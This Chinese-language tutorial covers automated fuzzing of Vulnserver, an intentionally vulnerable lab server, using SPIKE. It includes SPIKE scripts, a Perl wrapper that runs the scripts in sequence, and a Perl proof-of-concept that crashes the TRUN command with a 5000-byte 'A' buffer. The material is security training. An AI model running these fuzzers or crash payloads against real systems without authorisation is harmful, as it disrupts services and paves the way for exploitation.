自动化SPIKE fuzzer
字数 1356 2025-08-20 18:17:53
SPIKE Fuzzer自动化使用教程
概述
本教程详细介绍了如何使用SPIKE fuzzer自动化工具对Vulnserver应用程序进行模糊测试,以发现潜在的安全漏洞。教程涵盖了从SPIKE脚本创建到自动化wrapper程序编写的完整流程。
系统要求
- Linux fuzzing系统(教程中使用BackTrack)
- 目标系统运行Vulnserver
- 调试器(如OllyDbg)
- Wireshark网络分析工具
- SPIKE fuzzing工具
基本概念
SPIKE简介
SPIKE是一个开源的模糊测试框架,主要用于网络协议和应用程序的漏洞挖掘。它通过发送各种异常输入来测试目标程序的健壮性。
Vulnserver简介
Vulnserver是一个故意设计有漏洞的Windows服务器程序,用于安全研究和漏洞挖掘练习。
自动化Fuzzing流程
1. 创建SPIKE脚本
为每个Vulnserver支持的命令创建.spk文件,文件名按顺序编号:
00help.spk
01stats.spk
02rtime.spk
03ltime.spk
04srun.spk
05trun.spk
06gmon.spk
07gdog.spk
08kstet.spk
09gter.spk
10hter.spk
11lter.spk
12kstan.spk
13exit.spk
每个SPIKE脚本的基本结构如下(以HELP命令为例):
printf("HELP 00help.spk : "); // 打印命令和文件名到终端
s_readline(); // 打印从服务器接收的行
s_string("HELP "); // 发送"HELP "到程序
s_string_variable("COMMAND"); // 发送模糊字符串
2. 编写Wrapper程序
创建一个Perl wrapper程序来自动化运行所有SPIKE脚本:
#!/usr/bin/perl
# Simple wrapper to run multiple .spk files using generic_send_tcp
$spikese = '/pentest/fuzzers/spike/generic_send_tcp';
if ($ARGV[4] eq '') {
die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n");
}
$skipfiles = $ARGV[2];
@files = <*.spk>;
foreach $file (@files) {
if (!$skipfiles) {
if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]")) {
print "Stopped processing file $file\n";
exit(0);
}
} else {
$skipfiles--;
}
}
3. 执行Fuzzing测试
- 在调试器中启动Vulnserver
- 在Wireshark中开始新的数据包捕获
- 运行wrapper程序:
./fuzzer.pl 192.168.56.101 9999 0 0 0
参数说明:
- IP_ADDRESS: 目标IP
- PORT: 目标端口
- SKIPFILE: 跳过的.spk文件数量
- SKIPVAR: SPIKE的SKIPVAR参数
- SKIPSTR: SPIKE的SKIPSTR参数
4. 分析崩溃
当wrapper程序停止时:
- 检查调试器中程序的状态
- 查看wrapper程序的命令行输出
- 分析Wireshark捕获的数据包
5. 验证崩溃
创建验证脚本(以TRUN命令为例):
#!/usr/bin/perl
use IO::Socket;
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORT\n\n");
}
$baddata = "TRUN /.:/";
$baddata .= "A" x 5000;
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]"
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata, 1024);
print "$serverdata";
$socket->send($baddata);
关键技巧
-
SPIKE脚本增强:
- 使用
printf添加调试信息 - 使用
s_readline读取服务器响应 - 使用
s_string发送静态字符串 - 使用
s_string_variable发送模糊数据
- 使用
-
崩溃分析:
- 在Wireshark中搜索"Welcome"字符串定位最后正常响应
- 使用"Follow TCP Stream"查看导致崩溃的完整数据
- 保存崩溃数据用于验证
-
自动化流程:
- 使用连续编号的.spk文件
- wrapper程序支持跳过已测试的文件
- 自动检测连接失败并停止
实际案例
TRUN命令漏洞
- 发现崩溃在05trun.spk
- 分析Wireshark捕获,发现崩溃数据为:
TRUN /.:/AAAA... (5000个A) - 创建验证脚本确认漏洞
GMON命令漏洞
- 跳过前6个文件后开始测试:
./fuzzer.pl 192.168.56.101 9999 6 0 0 - 发现崩溃在06gmon.spk
- 分析发现崩溃数据为:
GMON /.:/AAAA... (5000个A) - 创建验证脚本确认漏洞
总结
本教程展示了:
- 如何为每个命令创建SPIKE脚本
- 如何编写自动化wrapper程序
- 完整的fuzzing测试流程
- 崩溃分析和验证方法
- 实际漏洞发现案例
通过这种方法,可以系统地发现应用程序中的多个漏洞。读者可以继续使用相同的流程测试其他命令,发现更多漏洞。
注意事项
- 确保SPIKE修改为在无法发送数据时返回非零值
- 每次测试前重启目标程序和Wireshark捕获
- 保持.spk文件的命名顺序一致
- 详细记录每次崩溃的上下文信息